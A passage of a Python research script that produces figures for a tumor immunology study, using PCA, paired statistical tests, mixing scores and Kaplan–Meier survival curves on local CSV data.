log10+1\n    transformer = FunctionTransformer(np.log10)\n    feat = transformer.fit_transform((feat)+1) \n    \n    #target = patient ID, P/R\n    df['target'] = [roi[2] for roi in df.index.values]\n    df['time'] = [roi[3:6] for roi in df.index.values] #to plot P vs R as different style markers (style param in scatter line)\n    \n    #do PCA\n    pca = PCA(n_components = 2) #generate model based on top two PCs\n    principalComponents = pca.fit_transform(feat) #fit and transform features\n    \n    #create new dataframe holding the principal components; need to specify index so that you can map the target column in next step\n    dfPrinc = pd.DataFrame(data=principalComponents, columns=['PC1','PC2'], index = roiList)\n    \n    #concatenate the principal component df and the target column (this is what gets color coded in final plot)\n    dfFinal = pd.concat([dfPrinc,df[['target','time']]], axis=1)\n    \n    #rename target column name to appropriate name for plotting - to patient\n    dfFinal = dfFinal.rename(columns={'target':'Patient'})\n    \n    #visualize using seaborn, color according to the target column\n    sns.set(rc={'figure.figsize':(6,6)})\n    graph = sns.scatterplot(dfFinal['PC1'], dfFinal['PC2'], hue=dfFinal['Patient'], legend='full',palette=palette,style=dfFinal['time'])\n    graph.legend(loc='lower right',bbox_to_anchor=(1.25, 0.5),ncol=1)\n    \n    plt.savefig(cwd+'/figures/figure1f.png',format='png',bbox_inches='tight') #saves figure to 'figures' folder as a png file\n    plt.close()    \n    \n    print(\"Figure 1f saved to 'figures' folder.\")\n        \n    \n    ##FIGURE 1g - PRINCIPAL COMPONENT ANALYSIS BY ANATOMIC SITE\n    \n    print('\\nFigure 1g')\n    \n    #read dataframe\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    \n    #get clinical df with anatomical location\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)    \n        \n    #get roiList, for later dataframe creation, to map to\n    roiList = list(df.index)\n        \n    #separate out features; drop dtr column\n    feat = df.iloc[:,1:].values\n    \n    #standardize the features w log10+1\n    transformer = FunctionTransformer(np.log10)\n    feat = transformer.fit_transform((feat)+1) \n\n    #target = anatomic site\n    df['target'] = dfClin['anatomy']\n    \n    #set color palette so it matches other plots; patient colors\n    palette = dict(zip(df.target.unique(),sns.color_palette('tab10',n_colors = 3))) #3 colors for 3 sites\n    \n    #do PCA\n    pca = PCA(n_components = 2) #generate model based on top two PCs\n    principalComponents = pca.fit_transform(feat) #fit and transform features\n    \n    #create new dataframe holding the principal components; need to specify index so that you can map the target column in next step\n    dfPrinc = pd.DataFrame(data=principalComponents, columns=['PC1','PC2'], index = roiList)\n    \n    #concatenate the principal component df and the target column (this is what gets color coded in final plot)\n    dfFinal = pd.concat([dfPrinc,df[['target']]], axis=1)\n    \n    #rename target column name to appropriate name for plotting - to site\n    dfFinal = dfFinal.rename(columns={'target':'Anatomic Site'})\n    \n    #visualize using seaborn, color according to the target column\n    sns.set(rc={'figure.figsize':(6,6)})\n    graph = sns.scatterplot(dfFinal['PC1'], dfFinal['PC2'], hue=dfFinal['Anatomic Site'], legend='full',palette=palette)\n    graph.legend(loc='lower right',bbox_to_anchor=(1.25, 0.5),ncol=1)\n    \n    plt.savefig(cwd+'/figures/figure1g.png',format='png',bbox_inches='tight') #saves figure to 'figures' folder as a png file\n    plt.close()    \n    \n    print(\"Figure 1g saved to 'figures' folder.\")\n  \n\n\ndef fig2():\n    \n    '''\n    Tumor cellular composition changes following therapy.\n    This function creates figures 2a-2d. \n    All subplots are saved to the 'figures' folder.\n    \n    Note: This function assumes densityToCsv() has already been run (this happens in fig1() function).\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves plots to 'figures' folder for figures 2a-2d\n    '''\n    \n    #import packages\n    import pandas as pd\n    import os\n    import plotly.graph_objs as go\n    import plotly.io as pio\n    from scipy.stats import ttest_rel, wilcoxon\n    from statsmodels.stats.multitest import fdrcorrection\n    import seaborn as sns\n    import matplotlib.pyplot as plt\n    import numpy as np\n    from sklearn.preprocessing import MinMaxScaler\n\n    #get dictionary to rename cells - used for subfigures\n    nameDict = cellClassRename()\n    \n    #get current directory - used to save subfigures\n    cwd = os.getcwd()\n\n\n    ##FIGURE 2a - PRIMARY VS RECURRENT CELL COUNTS\n    \n    print('\\nFigure 2a')\n    \n    #read in counts df\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_avg.csv',index_col=0)\n    \n    #drop the dtr column\n    dfFilt = df.iloc[:,1:]\n    \n    #separate out pre and post treatment tumors\n    dfPre = dfFilt[['pre' in row for row in dfFilt.index]]\n    dfPost = dfFilt[['pos' in row for row in dfFilt.index]]\n    \n    #put pre and post df's in dfList\n    dfList = [dfPre,dfPost]\n    \n    #get corresponding cell names from cellClassRename function\n    nameDict = cellClassRename()\n    \n    #empty list to store two traces for plotting\n    traces = []\n    \n    #loop through the two dfs\n    for i in range(len(dfList)):\n    \n        #get df\n        df = dfList[i]\n    \n        #empty lists to store data for plotting - one per trace\n        xAxis = [] #will store label names\n        yList = [] #will store count values to plot in boxplot\n    \n        for col in df.columns: #for each column\n    \n            for row in df.index: #for each row of patients\n                xAxis.append(nameDict[col]) #add the column's real class name to the xAxis label list (each label should repeat itself nine times)\n                yList.append(df.loc[row,col]*100) #add the column/row's value (aka actual value to plot)\n    \n        #naming of traces\n        if i == 0:\n            treat = 'Primary'\n        elif i == 1:\n            treat = 'Recurrent'\n    \n        #create one trace for pre and one for post\n        trace = go.Box(x=xAxis,y=yList,name=treat,boxmean=True,boxpoints='all')\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Cell Phenotype'},'yaxis':{'title':'Density (cells/mm^2) (Averaged Across Regions)'},'boxmode':'group'}    \n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure2a.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Figure 2a saved to 'figures' folder.\")\n    \n    #check for significance between pre/post tumors and print the adjusted p-value, paired tests\n    print('Calculating p-values...')\n    \n    pList = [] #empty list to store p values for MHT correction\n    \n    for col in dfPre.columns: #for each column in the df\n        valueList = [] #overall list to store two lists to compare (pre and post); reset with each new column\n        for df in dfList: #for each df (pre and then post)\n            valList = list(df[col])\n            valueList.append(valList) #add pre or post's value list to overall valueList\n                \n        #non-parametric paired t-test (for tumor densities, whose difference does NOT follow a normal distribution)\n        if col == 'H':\n            pVal = wilcoxon(valueList[0],valueList[1])[1]\n        \n        #all other cell types' differences DO follow a normal distribution, so use parametric paired t-test\n        else:\n            pVal = ttest_rel(valueList[0],valueList[1])[1]\n            \n        pList.append(pVal)\n        \n    #correct for MHT\n    mhtList = fdrcorrection(pList,alpha=0.05)[1]\n    \n    print('\\nMHT corrected p-values:')\n    for i in range(len(dfPre.columns)):\n        col = dfPre.columns[i]\n        mhtP = mhtList[i]\n        print(nameDict[col],': ',mhtP)        \n        \n\n    ##FIGURE 2b - PRIMARY VS RECURRENT CELL COUNTS\n\n    print('\\nFigure 2b')\n\n    #read in counts df\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_avg.csv',index_col=0)\n    \n    #drop the dtr and dtd columns\n    dfFilt = df.iloc[:,1:]\n    \n    #separate out pre and post treatment tumors\n    dfPre = dfFilt[['pre' in row for row in dfFilt.index]]\n    dfPost = dfFilt[['pos' in row for row in dfFilt.index]]\n    \n    #predefined list of patients 1-9\n    colList = ['1','2','3','4','5','6','7','8','9']\n    \n    #make title list for each subplot\n    cols = list(dfFilt.columns)\n    titleList = []\n    for c in cols:\n        \n        if c != 'N':\n            x = nameDict[c]\n        else:\n            x = 'aSMA+ Mesenchymal' #matplot cannot print the alpha symbol so renaming for this plot to an 'a'\n        titleList.append(x)\n    \n    #update dfPre\n    dfPreT = dfPre.T\n    dfPreT.columns = colList #update col names\n    \n    #update row names\n    rowNames = list(dfPreT.index)\n    rowUpdate = []\n    \n    for r in rowNames:\n        row = nameDict[r]+'-P'\n        rowUpdate.append(row)    \n    dfPreT.index = rowUpdate    \n    \n    #update dfPost\n    dfPostT = dfPost.T\n    \n    dfPostT.columns = colList #update col names\n    \n    #update row names\n    rowNames = list(dfPostT.index)\n    rowUpdate = []\n    \n    for r in rowNames:\n        row = nameDict[r]+'-R'\n        rowUpdate.append(row)  \n    dfPostT.index = rowUpdate\n     \n    #merge dfs by alternating rows\n    s1 = dfPreT.assign(a = np.arange(len(dfPreT))).set_index('a', append=True) \n    s2 = dfPostT.assign(a = np.arange(len(dfPostT))).set_index('a', append=True)\n    \n    dfFinal = (pd.concat([s1, s2], keys=('Primary','Recurrent'))\n            .sort_index(kind='merge', level=2)\n            .reset_index(level=2, drop=True)\n            .swaplevel(0,1))\n    \n    #reset the index to just primary and recurrent\n    dfIdx = dfFinal.index.droplevel(level=0)\n    dfFinal.index = dfIdx\n    \n    #set up plotting\n    fig, ax =plt.subplots(2,5,figsize=(25,25))\n    \n    #range through 11 to set variables for placement of graph, where in the df to get data from\n    for n in range(11):\n        \n        #set placement of graph\n        #row\n        if n < 5:\n            a = 0\n        else:\n            a = 1\n        #column\n        if n < 5:\n            b = n\n        else:\n            b = n-5\n        \n        #set iloc to draw data from\n        i = n*2\n        j = i+1\n        \n        if i < 20:\n            \n            ax[a,b].set_title(titleList[n],fontdict={'fontsize':14}) #set title of each subplot\n            ax[a,b].set_ylabel(\"Density (cells/mm^2) (Averaged Across Regions)\") #set y axis label of each subplot        \n            #make lineplot; use tab10 color scheme to match before\n            sns.lineplot(data=dfFinal.iloc[[i,j],:],dashes=False,palette='tab10',ax=ax[a,b],legend=False,marker=\"o\")\n    \n        #skip the final plot that does not exist \n        else:\n            break\n    \n    #final adjustments\n    ax[1,4].legend(['1', '2', '3','4','5','6','7','8','9'],bbox_to_anchor=(1,0.75),ncol=1,title='Patient',prop={'size': 18}) #create legend for the final ax \n    \n    plt.savefig(cwd+'/figures/figure2b.png',format='png') #saves figure to 'figures' folder as a png file\n    plt.close()\n    print(\"Figure 2b saved to 'figures' folder.\")\n\n\n    ##FIGURE 2c - HIERARCHICAL CLUSTERING OF AVERAGE CHANGE IN TIME CELLULAR COMPOSITION\n    \n    print('\\nFigure 2c')\n    \n    #read df\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_avg.csv',index_col=0)\n    \n    #drop the dtr column\n    dfFilt = df.iloc[:,1:]\n    \n    #separate out pre and post treatment tumors\n    dfPre = dfFilt[['pre' in row for row in dfFilt.index]]\n    dfPost = dfFilt[['pos' in row for row in dfFilt.index]]\n    \n    #put pre and post df's in dfList\n    dfList = [dfPre,dfPost]\n    \n    #empty dict to store col:difference list for each cell type\n    diffDict = {}\n    \n    #get a diffList for each column in the df; these will be the features to cluster on\n    for col in dfPre.columns: #for each column in the df\n        valueList = [] #overall list to store two lists to compare (pre and post); reset with each new column\n        for df in dfList: #for each df (pre and then post)\n            valList = list(df[col])\n            valueList.append(valList) #add pre or post's value list to overall valueList\n    \n        diffList = [x1 - x0 for (x1, x0) in zip(valueList[1], valueList[0])]\n    \n        if col != 'N':\n            diffDict[nameDict[col]] = diffList\n        else:\n            diffDict['aSMA+ Mesenchymal'] = diffList #matplot cannot print the alpha symbol so renaming for this plot to an 'a'\n    \n    dfDiff = pd.DataFrame(diffDict,index=['1','2','3','4','5','6','7','8','9'])\n    \n    #get treatment data and add new column to dfDiff for color coding\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    dfClin = dfClin.dropna() #drop recurrent tumors\n    dfClin.set_index('sample',inplace=True)\n    dfClin.index = dfClin.index.str.slice(0,6) #update patient column with just the first six characters in string; so you can use groupby\n    dfClin = dfClin[~dfClin.index.duplicated(keep='first')]\n    dfClin.index = dfClin.index.str.slice(2,3)\n    \n    dfDiff['patient'] = dfDiff.index\n    dfDiff['tx'] = dfClin['tx']\n        \n    #make color vector dictionary; just one needed for 1 color palette (patient ID)\n    palette1 = dict(zip(dfDiff.patient,sns.color_palette(\"tab10\",n_colors = 9))) #9 colors for 9 patients\n    palette2 = dict(zip(dfDiff.tx.unique(),sns.color_palette(\"Accent\",n_colors=3))) #3 colors becauuse 3 tx options\n    \n    #make groupings\n    grouping1 = dfDiff.patient #group off of patient column\n    grouping2 = dfDiff.tx #group off of tx column\n    \n    #map palettes onto the corresponding grouping series\n    ptColors1 = pd.Series(grouping1,name='Patient ID').map(palette1)\n    ptColors2 = pd.Series(grouping2,name='Therapy').map(palette2)\n    dfColors = pd.concat([ptColors1,ptColors2], axis=1)\n    \n    #drop the last two columns before clustering on values\n    dfDiff = dfDiff[list(dfDiff.columns)[:-2]]\n    \n    ##normalize [-1,1] while accounting for negative values\n    #create an all positive values of dfDiff\n    dfDiffPos = dfDiff.abs()\n    \n    #scale differences [0,1]\n    xArray = dfDiffPos.values #return numpy array of all values in the df  \n    columns = dfDiffPos.columns #get cols to add back to dfNorm\n    patients = dfDiffPos.index\n    \n    scaler = MinMaxScaler(feature_range=(0,1))\n    x_scaled = scaler.fit_transform(xArray)\n    dfNorm = pd.DataFrame(x_scaled,index=patients,columns=columns)\n    dfNew = pd.DataFrame(index=patients,columns = columns) #create empty df with same indices and columns to be filled w scaled data\n\n    #fill in dfNew with appropriate +/- values from dfNorm\n    for c in range(len(dfDiff.columns)):\n        for i in range(len(dfDiff)):\n            if dfDiff.iloc[i,c] >= 0: #if positive or zero add value as is\n                dfNew.iloc[i,c] = dfNorm.iloc[i,c] \n            else: #if negative\n                dfNew.iloc[i,c] = dfNorm.iloc[i,c]*(-1) #then flip the sign of the normalized value\n                #some negative zeros but they equal positive zeros: https://stackoverflow.com/questions/4083401/negative-zero-in-python?lq=1\n    \n    #convert dfNew to floats\n    dfNewFloat = dfNew.apply(pd.to_numeric)\n    \n    #plot the clusttermap with the colors\n    graph = sns.clustermap(dfNewFloat,method='ward',metric='euclidean',cmap='vlag',row_colors=dfColors,yticklabels=True)\n    \n    #add x-axis label and title to graph\n    ax = graph.ax_heatmap\n    ax.set_xlabel(\"\\nCell Phenotype\")\n    ax.set_ylabel(\"Patient\")\n    \n    #adjust y limit to fix bug in matplotlib code\n    bottom,top = ax.get_ylim()\n    ax.set_ylim(bottom+.5,top-.5)\n    \n    plt.savefig(cwd+'/figures/figure2c.png',format='png',bbox_inches='tight') #saves figure to 'figures' folder as a png file\n    #plt.show(graph)\n    plt.close()\n    \n    print(\"Figure 2c saved to 'figures' folder.\")\n                \n\n    ##FIGURE 2d - CHANGE IN CELL DENSITIES WITH PFS COLOR CODED\n    \n    print('\\nFigure 2d')\n\n    survColor = {'Short':'rgb(235,173,5)','Long':'rgb(123,60,171)'}\n    \n    #load df\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_avg.csv',index_col=0)\n    \n    #drop the dtr column\n    dfFilt = df.iloc[:,1:]\n    \n    #separate out pre and post treatment tumors\n    dfPre = dfFilt[['pre' in row for row in dfFilt.index]]\n    dfPost = dfFilt[['pos' in row for row in dfFilt.index]]\n    \n    #put pre and post df's in dfList\n    dfList = [dfPre,dfPost]\n    \n    #empty dict to store col:difference list for each cell type\n    diffDict = {}\n    \n    #get a diffList for each column in the df; these will be the features to cluster on\n    for col in dfPre.columns: #for each column in the df\n        valueList = [] #overall list to store two lists to compare (pre and post); reset with each new column\n        for df in dfList: #for each df (pre and then post)\n            valList = list(df[col])\n            valueList.append(valList) #add pre or post's value list to overall valueList\n    \n        diffList = [x1 - x0 for (x1, x0) in zip(valueList[1], valueList[0])]\n    \n        diffDict[nameDict[col[0]]] = diffList\n    \n    dfDiff = pd.DataFrame(diffDict,index=['1','2','3','4','5','6','7','8','9'])\n    dfDiff.index.name = 'patient'\n    \n    #get clinical df and add dtr to dfDiff\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    dfClin.set_index('sample',inplace=True) #set index labels to be the patient column\n    dfClinPre = dfClin[['pre' in row for row in dfClin.index]]\n    \n    dfClinPre.index = dfClinPre.index.str.slice(2,3)\n    dfClinPreCopy = dfClinPre.copy()\n    dfClinPreCopy['dtr'] = pd.to_numeric(dfClinPreCopy['dtr'],errors='coerce')\n    \n    dfClinAvg = dfClinPreCopy.groupby(['sample']).mean()\n    dfDiff['dtr'] = dfClinAvg['dtr']\n    \n    #split pts by median survival\n    med = dfDiff.median()['dtr']\n    \n    dfShort = dfDiff[dfDiff['dtr'] < med]\n    dfLong = dfDiff[dfDiff['dtr'] >= med]\n    dfList = [dfShort,dfLong]\n    \n    traces = []\n    for i in range(len(dfList)):\n        #get short or long term df\n        df = dfList[i]\n        \n        #empty lists to store data for plotting - one per trace\n        xAxis = [] #will store label names\n        yList = [] #will store delta values to plot in boxplot\n    \n        for col in df.columns[:-1]: #for each column, drop dtr\n            for row in df.index: #for each row of patients\n                xAxis.append(col) #add the column's real class name to the xAxis label list (each label should repeat itself nine times)\n                yList.append(df.loc[row,col]) #add the column/row's value (aka actual value to plot)\n                    \n        #name trace\n        if i == 0:\n            survival = 'Short'\n        elif i ==1:\n            survival = 'Long'\n    \n        #create one trace for short/long\n        trace = go.Box(x=xAxis,y=yList,name=survival+' PFS',boxmean=True,boxpoints='all',marker={'color':survColor[survival]},fillcolor='rgba(255,255,255,0)',line={'color':'rgba(255,255,255,0)'})\n        traces.append(trace)\n        \n    #reset xAxis and yList \n    xAxis = []\n    yList = []\n    #a separate box plot of deltas for each cell type for the box, no color for the points\n    for col in dfDiff.columns[:-1]: #for each column, drop dtr\n        for row in dfDiff.index: #for each row of patients\n            xAxis.append(col)\n            yList.append(dfDiff.loc[row,col])\n    \n    traceBox = go.Box(x=xAxis,y=yList,boxmean=True,boxpoints=False,fillcolor='rgb(232,232,232)',line={'color':'rgb(178,178,178)'},name='Change')\n    traces.append(traceBox)\n    layout = {'xaxis':{'title':'Cell Phenotype'},'yaxis':{'title':'Change in Density (cells/mm^2) (Averaged Across Regions)'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure2d.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Figure 2d saved to 'figures' folder.\")\n\n\n\ndef fig3():\n    \n    '''\n    Mixing score quantifies the spatial organization of tumors.\n    This function creates figures 3b-3i. \n    All subplots are saved to the 'figures' folder.\n    \n    Note: This function assumes densityToCsv() has already been run (this happens in fig1() function).\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves csvs to 'dfCreated' folder for files containing mixing scores, PD-1+ counts and Ki-67+ counts used to generate figures.\n        Saves plots to 'figures' folder for figures 3b-3i\n    '''\n  \n    #import packages    \n    import pandas as pd\n    import numpy as np\n    import os\n    import plotly.graph_objs as go\n    import plotly.io as pio\n    from scipy.stats import mannwhitneyu, ttest_ind,f_oneway\n    from sklearn.preprocessing import FunctionTransformer\n    from sklearn.decomposition import PCA\n    import seaborn as sns\n    import matplotlib.pyplot as plt\n    from statsmodels.stats.multicomp import pairwise_tukeyhsd\n    from lifelines import KaplanMeierFitter\n    from lifelines.statistics import logrank_test\n    from statsmodels.stats.multitest import fdrcorrection\n\n    #get dictionary to rename cells - used for subfigures\n    nameDict = cellClassRename()\n    \n    #get current directory - used to save subfigures\n    cwd = os.getcwd()\n    \n    #set color dict to map colors from for plotting spatial organization\n    colorDict = {'Cold':'#E377C2','Mixed':'#FF7F03','Compartmentalized':'#2CA02C'}\n\n    #rename xAxis variables to 1P, 1R, etc\n    xDictRename = {'pre':'P','pos':'R'}\n\n    #create function to map spatial labels into dfs within figure 3 subplots\n    def map_mix(mix):\n    \n        if mix < 0.107: #value corresponds to median of primary tumor regions\n            return 'Compartmentalized'\n        elif mix > 0.107:\n            return 'Mixed'\n\n    \n    ##FIGURE 3b - MIXING SCORE ACROSS TUMOR REGIONS\n    \n    print('\\nFigure 3b')\n    \n    #calculate mixing score for all tumor regions and save data to new csv\n    print('Calculating mixing scores...')\n    calculateMixing(30,['A','B','C','D','E','J','K','X']) #30px = 15µm radius, all immune cells\n    print(\"Mixing scores calculated. Csvs saved to 'dfCreated' folder.\")\n\n    #determine which tumor regions are cold\n    print('Calculating which tumor regions are cold...')\n    calculateCold()\n    print(\"New mixing score csvs excluding cold regions saved to 'dfCreated' folder.\")\n    \n    #read csv\n    df = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    \n    #use map_mix function defined above to map the appropriate label to the 'spatiial' column of df\n    df['spatial'] = df['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells from calculateCold()\n    for roi in coldList:\n            df.loc[roi,'spatial'] = 'Cold'\n    \n    #rename xaxis labels to be primary recurrent rather than pre/post\n    ptList = []\n    for x in df.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        ptList.append(xLabel) #add label to list\n    df.index = ptList\n    \n    #get tumor list\n    xAxis = list(df.index)\n    \n    #trace with all data points, box only\n    traceData = go.Box(x=xAxis,y=df['mixScore'],boxmean=True,boxpoints=False,name='data',jitter=1)\n    \n    #create traces to store all trace variables\n    traces = [traceData]\n    \n    #create new trace of markers only for color-coding by spatial org\n    for cat in df['spatial'].unique():\n    \n        #get a sub-df with rois that all have the same spatial category\n        dfSpat = df[df['spatial'] == cat]\n    \n        #create marker trace for that spatial category and add it to traces list\n        traceSpat = go.Box(x=list(dfSpat.index),y=dfSpat['mixScore'],boxpoints='all',fillcolor='rgba(255,255,255,0)',line={'color':'rgba(255,255,255,0)'},marker={'color':colorDict[cat]},jitter=1)\n        traces.append(traceSpat)\n    \n    #create annotations with overall averaged mixing score label\n    #get overall mixing score designation from average csv \n    file2 = 'dfMixingScoresExcludeCold_avg'\n    dfAvg = pd.read_csv(cwd+'/dfCreated/'+file2+'.csv', index_col=0)\n    #add spatial column\n    dfAvg['spatial'] = dfAvg['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold tumors where the regions are all cold\n    coldList = ['pt2post'] #this is a pre-defined list based on # of immune cells from calculateCold()\n    #add row with cold tumor\n    for roi in coldList:\n            dfAvg.loc[roi,'spatial'] = 'Cold'\n    \n    #update index values to be 1P, 1R, etc\n    ptList = []\n    for x in dfAvg.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        ptList.append(xLabel) #add label to list\n    dfAvg.index = ptList\n    dfAvg = dfAvg.sort_index()\n            \n    #get lists of df columns \n    ptList = list(dfAvg.index)\n    spatList = list(dfAvg['spatial'])\n    mixList = list(dfAvg['mixScore'])\n    \n    #empty list to store tuples\n    annotTupList = []\n    \n    #create tuples to add to the annotTupList\n    for i in range(len(ptList)):\n        \n        if mixList[i] > 0:\n            annot = (i,mixList[i]+1.5,spatList[i])\n        \n        else: #for nan values\n            annot = (i,1.5,spatList[i])\n        annotTupList.append(annot) \n    \n    #empty list to store dictionaries for annotations on plot\n    annotations = []\n    \n    #create annotation list\n    for j in range(len(annotTupList)):\n        annotDict = dict(x=annotTupList[j][0],y=annotTupList[j][1],text=annotTupList[j][2],showarrow=False,textangle=-90,font={'color':colorDict[annotTupList[j][2]]})\n        annotations.append(annotDict)\n        \n    #figure layout\n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'Mixing Score'},'annotations':annotations}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure3b.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Figure 3b saved to 'figures' folder.\")\n    \n    \n    ##FIGURE 3c - MIXING SCORE BY ANATOMIC SITE\n    \n    print('\\nFigure 3c')\n    \n    #read csv with mixing scores\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv',index_col=0)\n    \n    #add spatial designation\n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells/area\n    \n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #get clinical df with anatomical location\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    dfMix['anatomy'] = dfClin['anatomy']\n    \n    #separate out regions based on anatomic site\n    dfOC = dfMix[['oral cavity' in row for row in dfMix['anatomy']]]\n    dfO = dfMix[['oropharynx' in row for row in dfMix['anatomy']]]\n    dfL = dfMix[['larynx' in row for row in dfMix['anatomy']]]\n    \n    traceOC = go.Box(y=dfOC.loc[:,'mixScore'],name='Oral Cavity',boxpoints='all')\n    traceO = go.Box(y=dfO.loc[:,'mixScore'],name='Oropharynx',boxpoints='all')\n    traceL = go.Box(y=dfL.loc[:,'mixScore'],name='Larynx',boxpoints='all')\n    traces = [traceOC,traceO,traceL]\n    layout = {'xaxis':{'title':'Anatomic Site'},'yaxis':{'title':'Mixing Score'},'boxmode':'group'}\n    fig = {'data':traces,'layout':layout}\n    \n    pio.write_image(fig,cwd+'/figures/figure3c.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 3c saved to 'figures' folder.\")\n\n    #run ANOVA to see if means are the same or different\n    anP = f_oneway(dfOC.loc[:,'mixScore'],dfO.loc[:,'mixScore'],dfL.loc[:,'mixScore'])[1]\n    print('One way ANOVA p-value: ',anP) #one way anova\n\n    #if ANOVA is significant, run Tukey post hoc analysis to determine which pairs are significant\n    if anP < 0.05:        \n        dfTukey = pd.DataFrame({'value':dfMix['mixScore'],'label':dfMix['anatomy']})        \n        tukey = pairwise_tukeyhsd(endog=dfTukey['value'],groups=dfTukey['label'],alpha=0.05)\n        print('Tukey HSD Post-Hoc Test: ',tukey)\n\n\n    ##FIGURE 3d - SURVIVAL CURVE, MIXING SCORE\n    \n    print('\\nFigure 3d') \n    \n    #get df from saved csv; dependent on the path\n    df = pd.read_csv(cwd+'/dfCreated/dfMixingScoresExcludeCold_avg.csv', index_col=0)\n    \n    #filter df so only primary tumors are analyzed\n    dfFilt = df[['pre' in row for row in df.index]]\n      \n    #remove rows with NaN values in the measure being plotted according to the survType also being plotted\n    dfFilt = dfFilt.dropna(subset=['mixScore','dtr'])\n    \n    #median of the desired score\n    med = dfFilt.median()['mixScore']\n    \n    #split into low and high scores\n    dfLow = dfFilt[dfFilt['mixScore'] < med] #low group\n    dfHigh = dfFilt[dfFilt['mixScore'] >= med] #high group\n    \n    #fit KM model\n    kmf = KaplanMeierFitter()\n    \n    #create subplot to hold both curves\n    plt.figure() #new figure for each call to this function\n    ax = plt.subplot(111)\n    \n    #dfLow curve\n    kmf.fit(dfLow['dtr'], event_observed=[1]*len(dfLow), label=\"Compartmentalized\")\n    kmf.plot(ax=ax,ci_show=False,c='#2CA02C') #set color to match other figures\n    \n    #dfHigh curve\n    kmf.fit(dfHigh['dtr'], event_observed=[1]*len(dfHigh), label=\"Mixed\")\n    kmf.plot(ax=ax,ci_show=False,c='#FF7F03') #set color to match other figures\n    \n    plt.ylim(0, 1) #set y axis to go from zero to one\n    plt.margins(0) #make (0,0) start in bottom left corner rather than a little bit off\n    \n    #run logrank test for p-value calculation\n    results = logrank_test(dfLow['dtr'],dfHigh['dtr'],[1]*len(dfLow),[1]*len(dfHigh),alpha=0.95)\n    \n    plt.ylabel('Progression Free Survival (%)')\n    plt.xlabel('Days')\n    plt.text(x=1150,y=0.7,s='p = '+str(round(results.p_value,3)))\n\n    plt.savefig(cwd+'/figures/figure3d.png',format='png') #saves figure to 'figures' folder as a png file\n    plt.close()\n    \n    print(\"Figure 3d saved to 'figures' folder.\")        \n\n\n    ##FIGURE 3e - PRINCIPAL COMPONENT ANALYSIS BY MIXING SCORE\n    \n    print('\\nFigure 3e')\n    \n    #set color palette so it matches other plots; mixing score colors\n    palette = dict(Compartmentalized = '#2CA02C',Mixed = '#FF7F03',Cold = '#E377C2')\n    \n    #read counts csv\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    \n    #get roiList, for later dataframe creation, to map to\n    roiList = list(df.index)\n    \n    #separate out features; drop dtr column\n    feat = df.iloc[:,1:].values\n    \n    #standardize the features\n    transformer = FunctionTransformer(np.log10)\n    feat = transformer.fit_transform((feat)+1)\n        \n    #add a column on mixing df for mixed, compartmentalized, cold - to see intra-tumor heterogeneity    \n    #read in mixing score csv - all regions\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    \n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix)) #map_mix defined above\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells from calculateCold()\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the target column in the df\n    df['target'] = list(dfMix['spatial'])\n    \n    #do PCA\n    pca = PCA(n_components = 2) #create model based on top two PCs\n    principalComponents = pca.fit_transform(feat) #fit and transform features\n    \n    #create new dataframe holding the principal components; need to specify index so that you can map the target column in next step\n    dfPrinc = pd.DataFrame(data=principalComponents, columns=['PC1','PC2'], index = roiList)\n    \n    #concatenate the principal component df and the target column (this is what gets color coded in final plot)\n    dfFinal = pd.concat([dfPrinc,df[['target']]], axis=1)\n    \n    #rename target column name to appropriate name for plotting\n    dfFinal = dfFinal.rename(columns={'target':'Spatial Organization'})\n    \n    #visualize using seaborn, color according to the target column\n    sns.set(rc={'figure.figsize':(7,7)})\n    sns.scatterplot(dfFinal['PC1'], dfFinal['PC2'], hue=dfFinal['Spatial Organization'], legend='full',palette=palette)\n    \n    plt.savefig(cwd+'/figures/figure3e.png',format='png') #saves figure to 'figures' folder as a png file\n    plt.close()\n    \n    print(\"Figure 3e saved to 'figures' folder.\")    \n\n    \n    ##FIGURE 3f - CELL DENSITIES BY MIXING SCORE\n    \n    